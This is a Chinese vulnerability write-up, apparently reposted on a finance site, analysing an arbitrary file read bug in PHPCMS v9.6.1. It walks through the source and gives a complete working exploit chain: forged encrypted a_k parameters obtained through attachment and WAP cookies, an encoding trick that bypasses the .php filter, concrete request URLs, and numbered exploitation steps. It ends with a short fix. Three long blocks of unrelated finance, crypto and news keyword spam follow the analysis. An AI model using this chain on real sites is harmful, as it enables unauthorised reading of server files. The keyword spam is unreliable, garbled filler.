您现在的位置:新闻首页>资本 > 讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过
讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过
PHPCMS使用教程介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘
(免费):PHPCMS使用教程
看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。
1.准备工作&漏洞关键点快速扫描1.1前置知识
这里把本次分析中需要掌握的知识梳理了下:
php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。
原生empty方法,对字符串""返回true。
phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。
1.2 快速扫描
先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:
--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down { $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; + $id = intval($id);^M + $modelid = intval($modelid);^M + $catid = intval($catid);^M $MODEL = getcache('model','commons'); $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename']; $this->db->table_name = $tablename.'_data'; @@ -86,6 +90,7 @@ class down { $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f,$t,$ip); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); @@ -118,6 +123,7 @@ class down { } $ext = fileext($filename); $filename = date('Ymd_his').random(3).'.'.$ext; + $fileurl = str_replace(array('<','>'), '',$fileurl);^M file_down($fileurl, $filename); } }
主要修改了两个方法init()和download(),大胆的猜想估计是这两个函数出问题了。
public function init() { $a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1 if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); $a_k = safe_replace($a_k);//关键点2 parse_str($a_k);//关键点3 if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid); ...... if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$f) strpos($f, ":\\")!==FALSE strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点4 if(strpos($f, '关键点5 $downurl = '?m=content&c=down&a=download&a_k='.$a_k; } else { $downurl = $f; } } public function download() { $a_k = trim($_GET['a_k']); $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f,$t,$ip); $a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8 if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); if(!$i $m<0) showmessage(L('illegal_parameters')); if(!isset($t)) showmessage(L('illegal_parameters')); if(!isset($ip)) showmessage(L('illegal_parameters')); $starttime = intval($t); if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$f) strpos($f, ":\\")!==FALSE strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点9 $fileurl = trim($f); if(!$downid empty($fileurl) !preg_match("/[0-9]{10}/", $starttime) !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) $ip != ip()) showmessage(L('illegal_parameters')); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L('url_invalid')); if($m) $fileurl = trim($s).trim($fileurl);//关键点10 if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$fileurl) ) showmessage(L('url_error'));//关键点11 //远程文件 if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //关键点12 header("Location: $fileurl"); } else { if($d == 0) { header("Location: ".$fileurl);//关键点13 } else { $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl); $filename = basename($fileurl);//关键点14 //处理中文文件 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) { $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl)); $filename = urldecode(basename($filename));//关键点15 } $ext = fileext($filename);//关键点16 $filename = date('Ymd_his').random(3).'.'.$ext; $fileurl = str_replace(array('<','>'), '',$fileurl);//关键点17 file_down($fileurl, $filename);//关键点18 } } }
safe_replace函数如下
function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; }1.2 content/down模块大致流程分析
init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用
download方法的url,url的schema为$downurl='?m=content&c=down&a=download&a_k='.$a_k(必须符合一定条件。)
download方法接收到$a_k,进行解码,解出文件信息,调用file_down($fileurl, $filename)( 必须符合一定条件)
我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!
function file_down($filepath, $filename = '') { if(!$filename) $filename = basename($filepath); if(is_ie()) $filename = rawurlencode($filename); $filetype = fileext($filename); $filesize = sprintf("%u", filesize($filepath)); if(ob_get_length() !== false) @ob_end_clean(); header('Pragma: public'); header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: pre-check=0, post-check=0, max-age=0'); header('Content-Transfer-Encoding: binary'); header('Content-Encoding: none'); header('Content-type: '.$filetype); header('Content-Disposition: attachment; filename="'.$filename.'"'); header('Content-length: '.$filesize); readfile($filepath); exit; }1.2.1$fileurl变量构造分析
如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换
$fileurl = str_replace(array('<','>'), '',$fileurl);//关键点17
那么可以想到我们构造出符合.ph([<>]+)p的文件后缀,最后会被替换成.php。而且这句线新增的,更加确定了,这个漏洞是9.6.1特有的。
再向上上看
if($m) $fileurl = trim($s).trim($fileurl);//关键点10
变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。
$fileurl = trim($f);$a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8
通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。
1.2.2$a_k变量分析
再向上看
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。
我们现在来看下init方法
$a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1
这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。
1.2.3小结
总结一下:
index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。
然后init方法会构造出符合download方法中能够解密的$a_k。
通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。
2.漏洞挖掘过程2.1 init方法所接受的$a_k构造2.1.1探索正常流程中的$a_k构造过程
对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。
phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k
function downfile($field, $value) { extract(string2array($this->fields[$field]['setting'])); $list_str = array(); if($value){ $value_arr = explode('',$value); $fileurl = $value_arr['0']; if($fileurl) { $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : ''; $server_list = getcache('downservers','commons'); if(is_array($server_list)) { foreach($server_list as $_k=>$_v) { if($value && is_array($sel_server) && in_array($_k,$sel_server)) { $downloadurl = $_v[siteurl].$fileurl; if($downloadlink) { $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key'))); $list_str[] = "<a href='".APP_PATH."index.php?m=content&c=down&a_k={$a_k}' target='_blank'>{$_v[sitename]}</a>"; } else { $list_str[] = "<a href='{$downloadurl}' target='_blank'>{$_v[sitename]}</a>"; } } } } return $list_str; } } }
但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。
2.1.2 黑科技构造$a_k
由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文
方式是ENCODE
Auth_key是系统默认的即:pc_base::load_config('system','auth_key')
且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)
加密后的数据有回显的。
共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到
public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } public static function get_cookie($var, $default = '') { $var = pc_base::load_config('system','cookie_pre').$var; return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default; }
param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。
马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。
set_cookie的内容是可控的。
set_cookie的触发条件尽可能的限制小。
一共找到122个匹配项,找到了两个比较好的触发点。
phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法
video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。
我们来看下swfupload_json
public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.''.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; } }
我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以""分割。
我们注册个用户登录之后,调用
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn
产生的数据会是
{"aid":888,"src":"fobnn","filename":""}
然后我们得到response.header中的set-cookie ["att_json"]。
1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
我们修改下down.php->init方法,把DECODE之后的$a_k输出来。
然后我们调用
index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
激动人心,init方法成功DECODE了$a_k
好了目前验证了我们的想法可行,接下来应该构造可用的payload了。
2.2 json和parse_str
目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。
{"aid":888,"src":"fobnn=q&p1=12312","filename":""}
解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}
说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如
{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}
那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。
2.3 构造符合init方法的$a_k
我们先构造一个符合init方法的$a_k使得能完成正常的流程。
if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid);
构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d
得到
3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}
然后提交
index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
成功!页面已经生成了调用download方法的url
</head> <body> <style type="text/css"> body, html{ background:#FFF!important;} </style> <a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a> </body> </html>2.4绕过限制构造最终payload
目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中
if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$f) strpos($f, ":\\")!==FALSE strpos($f,'..')!==FALSE) showmessage(L('url_error')); if(strpos($f, '
对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":\"
还好我们看到download函数中
if($m) $fileurl = trim($s).trim($fileurl);//关键点10
我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a_k的构造。
在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。
//常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。 if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$f) strpos($f, ":\\")!==FALSE strpos($f,'..')!==FALSE) showmessage(L('url_error')); $fileurl = trim($f);
通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php
if($m) $fileurl = trim($s).trim($fileurl); if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$fileurl) ) showmessage(L('url_error')); //远程文件
好在快速扫描中看到的
$fileurl = str_replace(array('<','>'), '',$fileurl);//关键点17
另外又看到
if($d == 0) { header("Location: ".$fileurl);2.4.1 urlencode编码“<>”
那么构造出 d=1&m=1&f=.p<hp&s=index 这样的payload就可以绕过检测,实现漏洞利用,当然期间涉及一些编码转换就不再赘述了。
最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=
由于safe_replce的存在所以<会被过滤掉,前置知识中我已经说到parse_str会自动encode一次。
所以可以构造
d=1&m=1&f=.p%3chp&s=index
我们发现在init方法中会safe_replace一次,和parse_str一次。
那么最终编码到download $a_k中的数据实际还是<,而download方法中也会safe_replace和parse_str一次。
所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造
d=1&m=1&f=.p%253chp&s=index
当然要读取别的目录的,那同样对目录路径进行编码。
2.4.2最终payload
以读取首页index.php为例
pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQindex.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY
最终提示下载文件,文件下载成功,打开来看确实是index.php内容。
2.5绕过attachment模块权限限制完成无限制利用class attachments { private $att_db; function __construct() { pc_base::load_app_func('global'); $this->upload_url = pc_base::load_config('system','upload_url'); $this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg'); $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE')); $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0; $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8; //判断是否登录 if(empty($this->userid)){ showmessage(L('please_login','','member')); } }
可以发现
sys_auth($_POST['userid_flash'],'DECODE')
可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH_KEY加密的。
全文找下无限制可以set_cookie的,发现WAP模块可以利用
pc_base::load_sys_class('format', '', 0); class index { function __construct() { $this->db = pc_base::load_model('content_model'); $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); param::set_cookie('siteid',$this->siteid); $this->wap_site = getcache('wap_site','wap'); $this->types = getcache('wap_type','wap'); $this->wap = $this->wap_site[$this->siteid]; define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid); if($this->wap['status']!=1) exit(L('wap_close_status')); }
没有任何条件限制我们可以$_GET['siteid']来控制param::set_cookie('siteid',$this->siteid),且默认都有WAP模块的文件,但不需要开启。
3.EXP编写
流程如下:
index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。
访问index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
&src=想要读取文件的payload,并且访问的时候设置post字段userid_flash为步骤一获取的cookie.
响应成功之后,获取名称为att_json的cookie
访问index.php?m=content&c=down&a=init&a_k=获取到的att_json,来构造最终漏洞利用路径,
可以直接截取生成的$a_k
访问index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。
4.修复方案
init方法中的$a_k 加解密sys_auth不要采用默认密钥。
file_down之前对$fileurl再做一次过滤。
-
经济 业界 推荐 美圆指数 29美元 福汇外汇 港币兑换美元 公信宝 币世界 ok币 加拿大元汇率 金条价格走势 ok交易所 白银套利 ppi指数 金价走势分析 中币交易所 玩客币行情 港币兑美元 马来西亚货币 今日复明日 旧日噩梦 bullish 海曼明斯基 绿天鹅 黄金行情走势 汇率日元 火币pro 莱茨狗 fx57 美元价格 币世界快讯 金价格走势图 隔夜利率 全球货币战争 波场tron 2199美元 stdaily 伊朗油价 国际石油行情 btcchina 美元日元汇率 恒生指数实时 大立光股票 回升 hc币 夏盈盈 希腊公投 市场黄金价格 黄金k线走势图 蜡烛图 单均线交易 日元美元 国际油价趋势 比特币白皮书 2012年金价走势 usdt 白银价钱 今日石油价格 fx1800 缩表 油价走势 台股 sdag 杨林科 港币汇率 明斯基时刻 猛烈打压 stellar 隔夜美股行情 白银行情 dp1s 油价 微比特 meiyuan 香港恒生指数 成交量分析 白银比例 实时行情 白银 国际石油 ltc是什么币种 美元指数走势 期货实时行情 美元兑澳元 中期选举 美元指数dini rsi指标 美金兑港币 谦益农业 硬币回收价表 今天美元走势 太一云 间谍车 加元汇率 国际石油价格 意大利国债 澳元走势预测 btc挖矿 美原油行情 即时外汇 制造业指数 澳元汇率 美国股市休市 下周美元走势 欧债 玩客云 美原油连 道琼指数 币种 美元汇率走势 文章档案 外汇止损多少 以太 挖矿 vshen 极路由hiwifi 汇丰pmi adx 美元兑日元 全球央行年会 btm 空投 安币交易所 chaobi otc交易平台 金价 标普500期货 加币汇率走势 日元兑换美元 伦敦铜价 著名财经 国际油价查询 etc 外汇学习 美债收益率 阿希币 pEE币 什么是头寸 纽交所 钻石底 德国30 799澳元 持仓报告 玩客 原油走势图 港股恒生指数 欧元下跌 420欧元 金子价格 加元走势图 1.11111E+11 xrp 美元指数k线图 金价走势预测 最新黄金价格 铜价格走势图 黄金降价 汇率欧元 金针探底 原油成本 美元 strllar 泰奇猫 圈牌 金价走势 以太币 lme铜实时行情 eos价格走势 欧元兑美金 外汇基本知识 联邦基金利率 伦敦银走势图 基本面分析 空头回补 云鱼 py6是什么货币 rsi指标详解 265万澳元 国际油价格 gateio wti原油走势图 门罗币 白银价格走势 欧盟财长会议 外汇咨询 交叉盘 外汇初学 房价指数 cbt 比特股 ltc 隐私政策 石油危机 日圆汇率 英国股市指数 原油最新价格 行情报价 自动减支 黄金市场价 全球指数 imtoken 币投资 10美金 eos币价格 相对强弱指标 黄金年走势图 美原油 加元美元 虚拟币 值多少钱 国际油价 外汇哈里森 外汇交易分析 白银价格分析 日bi btcc 标准普尔500 wti原油价格 zbcom 和币 度宇宙 技术指标分析 全球股市指数 币久 白银价格趋势 克龙 银行回收硬币 hiwifi 贝尔链 美元兑换欧元 后座议员 黄金市场行情 德拉基讲话 UES 道琼斯k线图 美元对日元 k线图分析 恒生指数 英国脱欧时间 港股指数 比特币之父 bin 今日原油 jinjia 日经225指数 比特币价格 英镑汇率 742 大立光 外汇走势 上吊线 趣步APP被调查 肖野 理财三 铜走势图 艾达 吞阳 coinex 欧元美金 赵长鹏 法郎汇率 9g游戏 英国脱欧结果 硅谷bbs 俄罗斯火星人 铜价 什么叫头寸
-
千万 荣耀 明细 满满的 蛋糕 不见 磋商 广西 恶意 传神 6.1级 12天 实物 daily怎么读 币世界快讯 优缺点 青春 献金 首相 监视 发 买大 1199元 联想 19日 异常 12时 一平 超萌 绿天鹅 纽交所 实时原油价格 美国原油价格 白银行情分析 道歉 军报 学院 再度 明斯基时刻 张思聪 汇率日元 美元日元 阿希币 贫富悬殊 赢了 淑女的品格 躁动 系列化 小米 高通 班主任 神器 500元 好不好 英镑美元汇率 国际油价行情 铜期货行情 ht币 布油实时走势 算力蜂 道琼斯理论 wti原油走势图 德拉基讲话 首尔至平壤 S400 40年 靓号 3人 BOTN2018 数字 丝路 仅数 高层次 5孔 足梦 金价格走势图 欧盟财长会议 德国新闻中文 美元实时汇率 天然气价格 faang 美圆指数 间谍车 ok币 太空 1名 校外 不顾 88岁 高陵区 圆梦 开锣 市场 新手机 限制 齐聚 双方 日显 专属 11人 三个 中方 正式 8页 会议 财务省 税务 商贸城 防弹 海峡 大嘴 露肩 背带 20倍 天选之子 九段 京东 封号 12nm 2 奔奔 国际油价预测 什么是头寸 黄金价格表 diorsman okex solb fx 美元价格 pai币 沙特 受伤 幻灭 会为 中青 就应 513部队 老赖 出来 马尾 打印机 端午 发布 测试版 大类 根据 章程 法官 六国 加征 合同 中将 想干 魔力 问题 订单 查询 轻工 足球大师2018 下周美元走势 miota 独股一箭 加拿大元汇率 ifo 澳元兑换美元 今天原油价格 亚马逊财报 苏格兰公投 国际原油指数 今日美元指数 澳大利亚货币 美元走势 usdollar huobi dogecoin dax 澳元兑美元 炒汇入门 最新国际金价 汇丰pmi指数 美元跌下神坛 新西兰元 sunkcost 吞噬太阳国语 美金兑欧元 全球货币战争 ok交易所 莱茨狗 jinjia 强征 更多 揭幕战 怎么 学习 上班 制裁 港媒 扩大 女兵 身材 很深 雨夜 救援 伤残 门生 农场 还能 小粗 短裤 薰衣 滤镜 超美 一下 猫日 黏性 几种 连开 补贴 商家 茶饮 联手 盘点 变老 入网 这款 新机 模式 花呗 套现 代人 获利 公益 项目 招办 发言人 科学 中考 政府 灵魂 考生 依法 精神 瓷砖 哪个 铺地板 舞台 秦岭 男篮 空砍 年近 骑行 天下 成为 举办 朝气 闪耀 已成 连接 青年 爱学 突尼斯 一偷 德国 出现 受审 谴责 是个 重创
-
玩客币行情 美圆指数 币世界快讯 有了 金价格走势图 港币兑换美元 公信宝 ok币 5400mAh 千万 马来西亚货币 比原链 黄金走势 债务上限 白银报价 币热度 黄金etf持仓量 银子价格 黄金的价格 早晨之星 pc梯子 国际财经资讯 美国原油价格 投资性需求 美银美林 比特币现金 货币狼烟 基本面 耶伦听证会 黄金实时行情 英国经济现状 以太币报价 欧美股市行情 电脑梯子 韩民众 惩罚穷人 卡塔尔 宇航员 政治活 干部 强国 说上 养老 得起 攻击 师生 紧急 派出所 老太 栽花 夏日 搭载 买单 才算 选择 马可波罗 注意事项 铺瓷砖 房子 亲子 詹皇 他来 横扫 出局 诸国之战 高关税 不断 计划 贼喊捉贼 狠话 甜蜜 再次 记录仪 再现 没问题 大学英语 高考成绩 聚苯乙烯 引领时尚 传奇 白银走势分析 美原油走势 明斯基时刻 原油实时 房价指数 中币 马来币 毁誉参半 道琼斯期指 欧债危机 原油最新消息 美元加息时间 美国原油 2599澳元 澳元走势 美股上涨 意大利脱欧 福汇外汇 神秘钱币 国际原油 gasstation 比特币被盗 15美元 数字币 新加坡元 美元港币 英国公投脱欧 黄金30分 外汇行情分析 美联储缩表 什么是macd 欧盟会议 合约帝 意大利货币 领先指标 黄金行情 多哈会议 南非兰特 俄罗斯汇率 fx回归2014 瑞士法郎汇率 李笑来 乐见其成 传产 瑞波币 怎么挖比特币 蝴蝶币 贸易帐赤字 黄金价格预测 澳币汇率 黄金资讯 白银价格预测 日元比例 外汇杠杆 多比 加拿大大选 美油暴跌 已兑现 澳元汇率走势 央行利率 顾比均线 欧股上涨 港币美元汇率 57美国 澳大利亚大选 道指指数 比特币 恒指怎么交易 环亚汇市 日经指数 饰金价格 白银对冲套利 波浪理论 k线分析 挖矿卡 英格兰银行 止损单 道琼斯指数 加息预期 纳斯达克股指 加币 日元美元汇率 黄金新闻 耶伦讲话 黄金时评 欧元美元汇率 美伊关系 黄金etf是什么 虚拟货币 锤子线 标准普尔指数 wti原油 英国脱欧 英国汇率 波点钱包 外汇信息 台湾股市行情 美元兑港币 欧元走势 标普 币圈最新消息 比特币钱包 黄金实时报价 油价走势图 英国新闻 外汇之星 国际财经 美元汇率预测 加拿大就业 瑞士央行 日本股市指数 夸克币 白银走势预测 myr是什么货币 外汇交易分析 太一云科技 美元价格 火币交易所 波场tron 币制改革 以太坊区块链 Eth价格 意大利大选 许子敬 投诉 行动 法国 热线 打爆 加州 技术活 核岛 销售 将被 副市长 油船 尹卓 以色列 陆战队 驱逐舰 部门 澳媒 购买 赌球 生活 热情 卡拉 烧钱 装修 选购 沈阳 齐祖 满满的 财富 打我 中美 谈判 龃龉 退出 涉事 攻坚战 朱日 滑稽 调整 不见 开启 米家 降至 经济 活动 科创 材料 牌子 骑勇 强者 贵州 业界 iota 印尼盾汇率 汇率日元 6000澳元 消弥 日经 欧佩克会议 汇率分析 全球主要股指 贸易战是什么 步步为盈